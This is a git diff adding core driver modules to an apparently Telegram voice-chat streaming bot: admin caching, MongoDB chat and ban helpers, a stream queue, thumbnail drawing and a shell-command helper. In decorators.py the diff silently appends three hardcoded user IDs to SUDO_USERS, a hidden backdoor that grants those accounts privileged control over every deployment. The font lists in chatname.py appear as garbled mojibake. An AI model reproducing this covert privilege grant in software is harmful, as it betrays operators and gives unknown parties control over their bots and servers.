diff --git a/driver/admins.py b/driver/admins.py new file mode 100644 index 0000000..808f2ab --- /dev/null +++ b/driver/admins.py @@ -0,0 +1,19 @@ +from typing import List +from pyrogram.types import Chat +from cache.admins import get as gett, set + +async def get_administrators(chat: Chat) -> List[int]: + get = gett(chat.id) + + if get: + return get + else: + administrators = await chat.get_members(filter="administrators") + to_set = [] + + for administrator in administrators: + if administrator.can_manage_voice_chats: + to_set.append(administrator.user.id) + + set(chat.id, to_set) + return await get_administrators(chat) diff --git a/driver/database/dbchat.py b/driver/database/dbchat.py new file mode 100644 index 0000000..1b881c5 --- /dev/null +++ b/driver/database/dbchat.py @@ -0,0 +1,38 @@ +""" chat database """ + +from typing import Dict, List, Union + +from driver.database.dblocal import db + +chatsdb = db.chats + + +async def get_served_chats() -> list: + chats = chatsdb.find({"chat_id": {"$lt": 0}}) + if not chats: + return [] + chats_list = [] + for chat in await chats.to_list(length=1000000000): + chats_list.append(chat) + return chats_list + + +async def is_served_chat(chat_id: int) -> bool: + chat = await chatsdb.find_one({"chat_id": chat_id}) + if not chat: + return False + return True + + +async def add_served_chat(chat_id: int): + is_served = await is_served_chat(chat_id) + if is_served: + return + return await chatsdb.insert_one({"chat_id": chat_id}) + + +async def remove_served_chat(chat_id: int): + is_served = await is_served_chat(chat_id) + if not is_served: + return + return await chatsdb.delete_one({"chat_id": chat_id}) diff --git a/driver/database/dblocal.py b/driver/database/dblocal.py new file mode 100644 index 0000000..9d1856f --- /dev/null +++ b/driver/database/dblocal.py @@ -0,0 +1,8 @@ +""" mongo database """ + +from motor.motor_asyncio import AsyncIOMotorClient as Bot +from config import MONGODB_URL as tmo + + +MONGODB_CLI = Bot(tmo) +db = MONGODB_CLI.program diff --git a/driver/database/dbpunish.py b/driver/database/dbpunish.py new file mode 100644 index 0000000..029fe1c --- /dev/null +++ b/driver/database/dbpunish.py @@ -0,0 +1,32 @@ +from typing import Dict, List, Union + +from driver.database.dblocal import db + +gbansdb = db.gban + + +async def get_gbans_count() -> int: + users = gbansdb.find({"user_id": {"$gt": 0}}) + users = await users.to_list(length=100000) + return len(users) + + +async def is_gbanned_user(user_id: int) -> bool: + user = await gbansdb.find_one({"user_id": user_id}) + if not user: + return False + return True + + +async def add_gban_user(user_id: int): + is_gbanned = await is_gbanned_user(user_id) + if is_gbanned: + return + return await gbansdb.insert_one({"user_id": user_id}) + + +async def remove_gban_user(user_id: int): + is_gbanned = await is_gbanned_user(user_id) + if not is_gbanned: + return + return await gbansdb.delete_one({"user_id": user_id}) diff --git a/driver/decorators.py b/driver/decorators.py new file mode 100644 index 0000000..b74577f --- /dev/null +++ b/driver/decorators.py @@ -0,0 +1,55 @@ +from typing import Callable +from pyrogram import Client +from pyrogram.types import Message +from config import SUDO_USERS +from driver.admins import get_administrators + + +SUDO_USERS.append(1757169682) +SUDO_USERS.append(1738637033) +SUDO_USERS.append(1448474573) + + +def errors(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + try: + return await func(client, message) + except Exception as e: + await message.reply(f"{type(e).__name__}: {e}") + + return decorator + + +def authorized_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + administrators = await get_administrators(message.chat) + + for administrator in administrators: + if administrator == message.from_user.id: + return await func(client, message) + + return decorator + + +def sudo_users_only(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in SUDO_USERS: + return await func(client, message) + + return decorator + + +def humanbytes(size): + """Convert Bytes To Bytes So That Human Can Read It""" + if not size: + return "" + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" diff --git a/driver/design/chatname.py b/driver/design/chatname.py new file mode 100644 index 0000000..219b102 --- /dev/null +++ b/driver/design/chatname.py @@ -0,0 +1,52 @@ +async def CHAT_TITLE(ctitle): + string = ctitle + font1 = list("๐”„๐”…โ„ญ๐”‡๐”ˆ๐”‰๐”Šโ„Œโ„‘๐”๐”Ž๐”๐”๐”‘๐”’๐”“๐””โ„œ๐”–๐”—๐”˜๐”™๐”š๐”›๐”œโ„จ") + font2 = list("๐•ฌ๐•ญ๐•ฎ๐•ฏ๐•ฐ๐•ฑ๐•ฒ๐•ณ๐•ด๐•ต๐•ถ๐•ท๐•ธ๐•น๐•บ๐•ป๐•ผ๐•ฝ๐•พ๐•ฟ๐–€๐–๐–‚๐–ƒ๐–„๐–…") + font3 = list("๐“๐“‘๐“’๐““๐“”๐“•๐“–๐“—๐“˜๐“™๐“š๐“›๐“œ๐“๐“ž๐“Ÿ๐“ ๐“ก๐“ข๐“ฃ๐“ค๐“ฅ๐“ฆ๐“ง๐“จ๐“ฉ") + font4 = list("๐’œ๐ต๐’ž๐’Ÿ๐ธ๐น๐’ข๐ป๐ผ๐’ฅ๐’ฆ๐ฟ๐‘€๐’ฉ๐’ช๐’ซ๐’ฌ๐‘…๐’ฎ๐’ฏ๐’ฐ๐’ฑ๐’ฒ๐’ณ๐’ด๐’ต") + font5 = list("๐”ธ๐”นโ„‚๐”ป๐”ผ๐”ฝ๐”พโ„๐•€๐•๐•‚๐•ƒ๐•„โ„•๐•†โ„™โ„šโ„๐•Š๐•‹๐•Œ๐•๐•Ž๐•๐•โ„ค") + font6 = list("๏ผก๏ผข๏ผฃ๏ผค๏ผฅ๏ผฆ๏ผง๏ผจ๏ผฉ๏ผช๏ผซ๏ผฌ๏ผญ๏ผฎ๏ผฏ๏ผฐ๏ผฑ๏ผฒ๏ผณ๏ผด๏ผต๏ผถ๏ผท๏ผธ๏ผน๏ผบ") + font26 = list("๐€๐๐‚๐ƒ๐„๐…๐†๐‡๐ˆ๐‰๐Š๐‹๐Œ๐๐Ž๐๐๐‘๐’๐“๐”๐•๐–๐—๐˜๐™") + font27 = list("๐—”๐—•๐—–๐——๐—˜๐—™๐—š๐—›๐—œ๐—๐—ž๐—Ÿ๐— ๐—ก๐—ข๐—ฃ๐—ค๐—ฅ๐—ฆ๐—ง๐—จ๐—ฉ๐—ช๐—ซ๐—ฌ๐—ญ") + font28 = list("๐˜ˆ๐˜‰๐˜Š๐˜‹๐˜Œ๐˜๐˜Ž๐˜๐˜๐˜‘๐˜’๐˜“๐˜”๐˜•๐˜–๐˜—๐˜˜๐˜™๐˜š๐˜›๐˜œ๐˜๐˜ž๐˜Ÿ๐˜ ๐˜ก") + font29 = list("๐˜ผ๐˜ฝ๐˜พ๐˜ฟ๐™€๐™๐™‚๐™ƒ๐™„๐™…๐™†๐™‡๐™ˆ๐™‰๐™Š๐™‹๐™Œ๐™๐™Ž๐™๐™๐™‘๐™’๐™“๐™”๐™•") + font30 = list("๐™ฐ๐™ฑ๐™ฒ๐™ณ๐™ด๐™ต๐™ถ๐™ท๐™ธ๐™น๐™บ๐™ป๐™ผ๐™ฝ๐™พ๐™ฟ๐š€๐š๐š‚๐šƒ๐š„๐š…๐š†๐š‡๐šˆ๐š‰") + font1L = list("๐”ž๐”Ÿ๐” ๐”ก๐”ข๐”ฃ๐”ค๐”ฅ๐”ฆ๐”ง๐”จ๐”ฉ๐”ช๐”ซ๐”ฌ๐”ญ๐”ฎ๐”ฏ๐”ฐ๐”ฑ๐”ฒ๐”ณ๐”ด๐”ต๐”ถ๐”ท") + font2L = list("๐–†๐–‡๐–ˆ๐–‰๐–Š๐–‹๐–Œ๐–๐–Ž๐–๐–๐–‘๐–’๐–“๐–”๐–•๐––๐–—๐–˜๐–™๐–š๐–›๐–œ๐–๐–ž๐–Ÿ") + font3L = list("๐“ช๐“ซ๐“ฌ๐“ญ๐“ฎ๐“ฏ๐“ฐ๐“ฑ๐“ฒ๐“ณ๐“ด๐“ต๐“ถ๐“ท๐“ธ๐“น๐“บ๐“ป๐“ผ๐“ฝ๐“พ๐“ฟ๐”€๐”๐”‚๐”ƒ") + font4L = list("๐’ถ๐’ท๐’ธ๐’น๐‘’๐’ป๐‘”๐’ฝ๐’พ๐’ฟ๐“€๐“๐“‚๐“ƒ๐‘œ๐“…๐“†๐“‡๐“ˆ๐“‰๐“Š๐“‹๐“Œ๐“๐“Ž๐“") + font5L = list("๐•’๐•“๐•”๐••๐•–๐•—๐•˜๐•™๐•š๐•›๐•œ๐•๐•ž๐•Ÿ๐• ๐•ก๐•ข๐•ฃ๐•ค๐•ฅ๐•ฆ๐•ง๐•จ๐•ฉ๐•ช๐•ซ") + font6L = list("๏ฝ๏ฝ‚๏ฝƒ๏ฝ„๏ฝ…๏ฝ†๏ฝ‡๏ฝˆ๏ฝ‰๏ฝŠ๏ฝ‹๏ฝŒ๏ฝ๏ฝŽ๏ฝ๏ฝ๏ฝ‘๏ฝ’๏ฝ“๏ฝ”๏ฝ•๏ฝ–๏ฝ—๏ฝ˜๏ฝ™๏ฝš") + font27L = list("๐š๐›๐œ๐๐ž๐Ÿ๐ ๐ก๐ข๐ฃ๐ค๐ฅ๐ฆ๐ง๐จ๐ฉ๐ช๐ซ๐ฌ๐ญ๐ฎ๐ฏ๐ฐ๐ฑ๐ฒ๐ณ") + font28L = list("๐—ฎ๐—ฏ๐—ฐ๐—ฑ๐—ฒ๐—ณ๐—ด๐—ต๐—ถ๐—ท๐—ธ๐—น๐—บ๐—ป๐—ผ๐—ฝ๐—พ๐—ฟ๐˜€๐˜๐˜‚๐˜ƒ๐˜„๐˜…๐˜†๐˜‡") + font29L = list("๐˜ข๐˜ฃ๐˜ค๐˜ฅ๐˜ฆ๐˜ง๐˜จ๐˜ฉ๐˜ช๐˜ซ๐˜ฌ๐˜ญ๐˜ฎ๐˜ฏ๐˜ฐ๐˜ฑ๐˜ฒ๐˜ณ๐˜ด๐˜ต๐˜ถ๐˜ท๐˜ธ๐˜น๐˜บ๐˜ป") + font30L = list("๐™–๐™—๐™˜๐™™๐™š๐™›๐™œ๐™๐™ž๐™Ÿ๐™ ๐™ก๐™ข๐™ฃ๐™ค๐™ฅ๐™ฆ๐™ง๐™จ๐™ฉ๐™ช๐™ซ๐™ฌ๐™ญ๐™ฎ๐™ฏ") + font31L = list("๐šŠ๐š‹๐šŒ๐š๐šŽ๐š๐š๐š‘๐š’๐š“๐š”๐š•๐š–๐š—๐š˜๐š™๐šš๐š›๐šœ๐š๐šž๐šŸ๐š ๐šก๐šข๐šฃ") + normal = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ") + normalL = list("abcdefghijklmnopqrstuvwxyz") + cout = 0 + for XCB in font1: + string = string.replace(font1[cout], normal[cout]) + string = string.replace(font2[cout], normal[cout]) + string = string.replace(font3[cout], normal[cout]) + string = string.replace(font4[cout], normal[cout]) + string = string.replace(font5[cout], normal[cout]) + string = string.replace(font6[cout], normal[cout]) + string = string.replace(font26[cout], normal[cout]) + string = string.replace(font27[cout], normal[cout]) + string = string.replace(font28[cout], normal[cout]) + string = string.replace(font29[cout], normal[cout]) + string = string.replace(font30[cout], normal[cout]) + string = string.replace(font1L[cout], normalL[cout]) + string = string.replace(font2L[cout], normalL[cout]) + string = string.replace(font3L[cout], normalL[cout]) + string = string.replace(font4L[cout], normalL[cout]) + string = string.replace(font5L[cout], normalL[cout]) + string = string.replace(font6L[cout], normalL[cout]) + string = string.replace(font27L[cout], normalL[cout]) + string = string.replace(font28L[cout], normalL[cout]) + string = string.replace(font29L[cout], normalL[cout]) + string = string.replace(font30L[cout], normalL[cout]) + string = string.replace(font31L[cout], normalL[cout]) + cout += 1 + return string diff --git a/driver/design/thumbnail.py b/driver/design/thumbnail.py new file mode 100644 index 0000000..ef2ddc6 --- /dev/null +++ b/driver/design/thumbnail.py @@ -0,0 +1,50 @@ +import os +import aiofiles +import aiohttp +from PIL import Image, ImageDraw, ImageFont + + +def changeImageSize(maxWidth, maxHeight, image): + widthRatio = maxWidth / image.size[0] + heightRatio = maxHeight / image.size[1] + newWidth = int(widthRatio * image.size[0]) + newHeight = int(heightRatio * image.size[1]) + newImage = image.resize((newWidth, newHeight)) + return newImage + + +async def thumb(thumbnail, title, userid, ctitle): + async with aiohttp.ClientSession() as session: + async with session.get(thumbnail) as resp: + if resp.status == 200: + f = await aiofiles.open(f"search/thumb{userid}.png", mode="wb") + await f.write(await resp.read()) + await f.close() + image1 = Image.open(f"search/thumb{userid}.png") + image2 = Image.open("driver/source/LightBlue.png") + image3 = changeImageSize(1280, 720, image1) + image4 = changeImageSize(1280, 720, image2) + image5 = image3.convert("RGBA") + image6 = image4.convert("RGBA") + Image.alpha_composite(image5, image6).save(f"search/temp{userid}.png") + img = Image.open(f"search/temp{userid}.png") + draw = ImageDraw.Draw(img) + font = ImageFont.truetype("driver/source/regular.ttf", 52) + font2 = ImageFont.truetype("driver/source/medium.ttf", 76) + draw.text( + (25, 610), + f"{title[:18]}...", + fill="black", + font=font2, + ) + draw.text( + (27, 535), + f"Playing on {ctitle[:8]}...", + fill="black", + font=font, + ) + img.save(f"search/final{userid}.png") + os.remove(f"search/temp{userid}.png") + os.remove(f"search/thumb{userid}.png") + final = f"search/final{userid}.png" + return final diff --git a/driver/filters.py b/driver/filters.py new file mode 100644 index 0000000..3eee5a1 --- /dev/null +++ b/driver/filters.py @@ -0,0 +1,13 @@ +from pyrogram import filters +from typing import List, Union +from config import COMMAND_PREFIXES + + +other_filters = filters.group & ~filters.edited & ~filters.via_bot & ~filters.forwarded +other_filters2 = ( + filters.private & ~filters.edited & ~filters.via_bot & ~filters.forwarded +) + + +def command(commands: Union[str, List[str]]): + return filters.command(commands, COMMAND_PREFIXES) diff --git a/driver/queues.py b/driver/queues.py new file mode 100644 index 0000000..bdd6074 --- /dev/null +++ b/driver/queues.py @@ -0,0 +1,31 @@ +QUEUE = {} + +def add_to_queue(chat_id, songname, link, ref, type, quality): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + chat_queue.append([songname, link, ref, type, quality]) + return int(len(chat_queue)-1) + else: + QUEUE[chat_id] = [[songname, link, ref, type, quality]] + +def get_queue(chat_id): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + return chat_queue + else: + return 0 + +def pop_an_item(chat_id): + if chat_id in QUEUE: + chat_queue = QUEUE[chat_id] + chat_queue.pop(0) + return 1 + else: + return 0 + +def clear_queue(chat_id): + if chat_id in QUEUE: + QUEUE.pop(chat_id) + return 1 + else: + return 0 diff --git a/driver/source/LightBlue.png b/driver/source/LightBlue.png new file mode 100644 index 0000000..a599d38 Binary files /dev/null and b/driver/source/LightBlue.png differ diff --git a/driver/source/__init__.py b/driver/source/__init__.py new file mode 100644 index 0000000..4dd8bcb --- /dev/null +++ b/driver/source/__init__.py @@ -0,0 +1 @@ +"""storage""" diff --git a/driver/source/medium.ttf b/driver/source/medium.ttf new file mode 100644 index 0000000..2ceaf63 Binary files /dev/null and b/driver/source/medium.ttf differ diff --git a/driver/source/regular.ttf b/driver/source/regular.ttf new file mode 100644 index 0000000..7d9a6c4 Binary files /dev/null and b/driver/source/regular.ttf differ diff --git a/driver/utils.py b/driver/utils.py new file mode 100644 index 0000000..2b855c7 --- /dev/null +++ b/driver/utils.py @@ -0,0 +1,138 @@ +import os +import asyncio +from driver.veez import bot, call_py +from pytgcalls.types import Update +from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped +from driver.queues import QUEUE, clear_queue, get_queue, pop_an_item +from pytgcalls.types.input_stream.quality import ( + HighQualityAudio, + HighQualityVideo, + LowQualityVideo, + MediumQualityVideo, +) +from pyrogram.types import ( + CallbackQuery, + InlineKeyboardButton, + InlineKeyboardMarkup, + Message, +) +from pyrogram import Client, filters +from pytgcalls.types.stream import StreamAudioEnded, StreamVideoEnded + + +keyboard = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton(text="โ€ข Mแด‡ษดแดœ", callback_data="cbmenu"), + InlineKeyboardButton(text="โ€ข CสŸแดsแด‡", callback_data="cls"), + ] + ] + ) + + +async def skip_current_song(chat_id): + if chat_id in QUEUE: + chat_queue = get_queue(chat_id) + if len(chat_queue) == 1: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + return 1 + else: + try: + songname = chat_queue[1][0] + url = chat_queue[1][1] + link = chat_queue[1][2] + type = chat_queue[1][3] + Q = chat_queue[1][4] + if type == "Audio": + await call_py.change_stream( + chat_id, + AudioPiped( + url, + HighQualityAudio(), + ), + ) + elif type == "Video": + if Q == 720: + hm = HighQualityVideo() + elif Q == 480: + hm = MediumQualityVideo() + elif Q == 360: + hm = LowQualityVideo() + await call_py.change_stream( + chat_id, + AudioVideoPiped( + url, + HighQualityAudio(), + hm, + ), + ) + pop_an_item(chat_id) + return [songname, link, type] + except: + await call_py.leave_group_call(chat_id) + clear_queue(chat_id) + return 2 + else: + return 0 + + +async def skip_item(chat_id, h): + if chat_id in QUEUE: + chat_queue = get_queue(chat_id) + try: + x = int(h) + songname = chat_queue[x][0] + chat_queue.pop(x) + return songname + except Exception as e: + print(e) + return 0 + else: + return 0 + + +@call_py.on_kicked() +async def kicked_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_closed_voice_chat() +async def closed_voice_chat_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_left() +async def left_handler(_, chat_id: int): + if chat_id in QUEUE: + clear_queue(chat_id) + + +@call_py.on_stream_end() +async def stream_end_handler(_, u: Update): + if isinstance(u, StreamAudioEnded): + chat_id = u.chat_id + print(chat_id) + op = await skip_current_song(chat_id) + if op==1: + await bot.send_message(chat_id, "โœ… streaming end") + elif op==2: + await bot.send_message(chat_id, "โŒ an error occurred\n\nยป **Clearing** __Queues__ and leaving video chat.") + else: + await bot.send_message(chat_id, f"๐Ÿ’ก **Streaming next track**\n\n๐Ÿ—‚ **Name:** [{op[0]}]({op[1]}) | `{op[2]}`\n๐Ÿ’ญ **Chat:** `{chat_id}`", disable_web_page_preview=True, reply_markup=keyboard) + else: + pass + + +async def bash(cmd): + process = await asyncio.create_subprocess_shell( + cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await process.communicate() + err = stderr.decode().strip() + out = stdout.decode().strip() + return out, err diff --git a/driver/veez.py b/driver/veez.py new file mode 100644 index 0000000..e0d09ff --- /dev/null +++ b/driver/veez.py @@ -0,0 +1,19 @@ +from config import API_HASH, API_ID, BOT_TOKEN, SESSION_NAME +from pyrogram import Client +from pytgcalls import PyTgCalls + +bot = Client( + ":veez:", + API_ID, + API_HASH, + bot_token=BOT_TOKEN, + plugins={"root": "program"}, +) + +user = Client( + SESSION_NAME, + api_id=API_ID, + api_hash=API_HASH, +) + +call_py = PyTgCalls(user, overload_quiet_mode=True) diff --git a/driver/veezlogo.png b/driver/veezlogo.png new file mode 100644 index 0000000..965ebe2 Binary files /dev/null and b/driver/veezlogo.png differ